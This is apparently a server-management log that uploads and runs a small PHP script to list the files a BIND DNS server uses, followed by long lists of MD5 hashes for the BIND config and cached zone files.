MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:57:23: Establishing a connection
2026-04-24 19:57:24: 

PUT: /tmp/pkp219015

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:57:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp219015; rm /tmp/pkp219015'

2026-04-24 19:57:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
